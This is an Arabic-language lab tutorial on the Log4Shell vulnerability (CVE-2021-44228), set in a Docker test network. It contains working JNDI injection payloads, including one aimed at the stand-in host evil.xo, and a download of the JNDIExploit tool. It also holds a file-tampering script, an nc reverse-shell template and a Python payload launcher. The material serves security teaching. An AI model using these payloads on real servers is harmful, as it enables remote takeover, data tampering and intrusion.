
عرض توضيحي لـ Log4Shell CVE-2021-44228
أكبر خبر في مجال الأمن السيبراني في نهاية عام 2021 كان ثغرة Log4j، برقم CVE-2021-44228، والمعروفة أيضًا باسم Log4Shell. تم تصنيفها على أنها الدرجة 10 في نظام CVSS، وهي أسوأ درجة، وتُعتبر أخطر ثغرة في السنوات الأخيرة بعد Heartbleed وShellShock. حتى أن البعض وصفها بأنها "ثغرة نووية"، مما يدل على عمق تأثيرها. يقوم هذا المشروع بتحليل CVE-2021-44228 مع تطبيق عملي (lab).
ملف السجل (Logfile) هو ملف يسجل الأحداث التي تحدث في نظام تشغيل أو برنامج أثناء التشغيل، أو الرسائل المتبادلة بين المستخدمين في برامج الدردشة. تحتوي العديد من أنظمة التشغيل وأطر العمل والبرامج على أنظمة سجل. لدى لغة Java حزمة سجل ممتازة تُسمى Log4j. هذه الحزمة تابعة لمؤسسة Apache، لذا يُطلق عليها الاسم الكامل Apache Log4j.
Log4j هي أداة ممتازة تُستخدم على نطاق واسع في برامج Java. في كثير من الأحيان، يحتاج مهندسو البرمجيات إلى كتابة بيانات تنفيذ البرنامج في ملفات سجل أو في قواعد بيانات أخرى لاستخدامها لاحقًا. هذا هو استخدام Log4j: يمكنه استقبال سلسلة نصية (مثل معرف المستخدم المدخل في شاشة تسجيل الدخول) وكتابتها في مكان آخر (مثل حقل إدخال البيانات في عملية المصادقة). بالإضافة إلى النسخ/اللصق الأساسي، يمكن لـ Log4j أيضًا عرض وتفسير محتوى السلسلة النصية. والتفسير هو عملية خطيرة، لأنه ما لم يتم تنظيف السلسلة أولاً، يمكن أن تحدث مشاكل بسهولة أثناء التفسير. لا يقوم Log4j بتنظيف السلسلة قبل تفسيرها، مما يسمح للمهاجمين بشن هجمات حقن (injection).
CVE-2021-44228 هي ثغرة خطيرة لأنها تسمح بتنفيذ تعليمات برمجية عن بُعد (RCE) على خادم Java من قبل مهاجم غير مصادق. تنشأ الثغرة من كيفية معالجة Log4j لرسائل السجل. إذا أرسل المهاجم رسالة معدلة (تحتوي على سلسلة مثل ${jndi:ldap://rogueldapserver.com/a})، فقد يؤدي ذلك إلى تحميل فئة برمجية خارجية أو بحث عن رسالة (message lookup) وتنفيذ البرنامج، مما يؤدي إلى حدوث RCE.

فيما يلي التدفق الأساسي لـ RCE.
$ curl vulnerable_server -H 'X-Api-Version: ${jndi:ldap://evil.xo/x}'
${jndi:ldap://evil.xo/x}يرجى تنزيل VM الخاص بـ SEED Ubuntu 20.04. توفر هذه VM بيئة Docker مثبتة مسبقًا. تحميل
$ wget -P /LDAP_server https://github.com/Mr-xn/JNDIExploit-1/releases/download/v1.2/JNDIExploit.v1.2.zip
$ docker-compose build # بناء صورة الحاوية
$ docker-compose up # تشغيل الحاوية
$ docker-compose down # إيقاف الحاوية
# اختصارات لأوامر Compose أعلاه
$ dcbuild # اختصار لـ: docker-compose build
$ dcup # اختصار لـ: docker-compose up
$ dcdown # اختصار لـ: docker-compose down
$ dockps # اختصار لـ: docker ps --format "{{.ID}} {{.Names}}"
$ docksh <id> # اختصار لـ: docker exec -it <id> /bin/bash
# المثال التالي يوضح كيفية الحصول على شل داخل hostC
$ dockps
b1004832e275 LDAP-10.9.0.5
9652715c8e0a vulnerable-app
$ docksh b1
root@b1004832e275:/#
لتبسيط الخطوات، جميع الخوادم موجودة ضمن نفس الشبكة المحلية (LAN)

في هذه المهمة، يمكن للمستخدم التعرف على كيفية عمل log4j. يمكن للمستخدم استخدام header X-Api-Version لتسجيل سجل باستخدام log4j.
# <> هي أجزاء يحتاج المستخدم لتعديلها
$ curl <server:ip> -H 'X-Api-Version: <version-number>'
إذا قام الخادم بتحليل الطلب الذي أرسلته بشكل صحيح، فسيعيد Hello World!.
يرجى تسجيل النتيجة التي أعادها الخادم في التقرير وما إذا كان الخادم قد حلل الطلب بشكل صحيح وسجل السجل.
في عام 2013، تمت إضافة "إضافة JNDILookup" إلى حزمة Log4j، مما يسمح للمطورين باستخدام JNDI مع LDAP للحصول على كائنات Java من مصادر خارجية من JNDITutorial.
الآن سنستخدم log4j الذي استخدمناه سابقًا مع JNDIExploit لجعل الخادم ينفذ الأمر الذي نريده.
# <> هي أجزاء يحتاج المستخدم لتعديلها
$ curl <server:ip> -H 'X-Api-Version: ${jndi:ldap://<ldap>:1389/Basic/Command/Base64/<content>}'
يرجى إنشاء ملف secret.txt داخل مجلد /tmp، ثم الدخول إلى الخادم للتحقق من نجاح إنشاء الملف.
ملاحظة-1: لا يمكن وضع الأمر مباشرة في
<content>، بل يجب تحويله
ملاحظة-2: نظرًا لأنvulnerable-appلا يحتوي على shell/bin/bash، يمكن استخدام أمر docker للتحقق من الملف
$ docker exec vulnerable-app ls /tmp
بعد المهمة السابقة، نجد أن vulnerable-app ينفذ أي أمر base64 يرسله المهاجم. إذا أراد المهاجم القيام بعمليات أكثر تعقيدًا، يمكنه إرسال سكربت هجوم (shell script) لتنفيذه على الخادم.
$ cd /var/www
$ head -c <head-num> index.html > tmp
$ echo -n <score> >> tmp
$ tail -c <tail-num> index.html >> tmp
$ mv tmp index.html
أعلاه سكربت لتعديل درجة في موقع ويب. الدرجة مخزنة داخل index.html. يرجى تنفيذه بنجاح أولاً وتحديد الاختلافات. ثم قم بتعديل هذا السكربت لتغيير ملف الدرجة إلى الرقم الذي تريده.
ملاحظة-1: هناك طريقة أخرى لتعديل الملف بسهولة وهي
sed
ملاحظة-2: نظرًا لأنvulnerable-appلا يسمح للمستخدم بعرض/var/wwwعبر المتصفح، يمكن استخدام أمر docker للتحقق من الملف
$ docker exec vulnerable-app cat /var/www/index.html
بعد المهام السابقة، أصبحنا قادرين على تحويل الأوامر التي نريد تنفيذها إلى base64 وجعل الخادم ينفذها. للسيطرة الكاملة على الخادم، يمكن استخدام الأوامر لإنشاء شل عكسي (reverse shell).
# <> هي أجزاء يحتاج المستخدم لتعديلها
$ mkfifo <file-name>
$ cat <file-name> | sh -i <io-turn> | nc <attacker-ip:port> > <file-name>
لتسهيل الأمر، نقدم سكربت Python للهجوم.
import os
import sys
import base64
import requests
ldap = '###' # user modify
server_ip = '###' # user modify
cmd = sys.argv[1]
data = base64.b64encode(cmd.encode('utf-8')).decode('utf-8')
data = data.replace('+', '%2B')
print(data)
os.system('curl ' + server_ip + f" -H 'X-Api-Version: ${{jndi:ldap://{ldap}/Basic/Command/Base64/{data}}}'")
$ ./script '<command>'
ملاحظة:
vulnerable-appلا يحتوي على/bin/bashولا/dev/tcp، لذا لا يمكن استخدام طريقة الشل العكسي العادية. ولكن يمكننا إنشاء ملف pipe للقراءة والكتابة عليه.
$ mkfifo <file-name>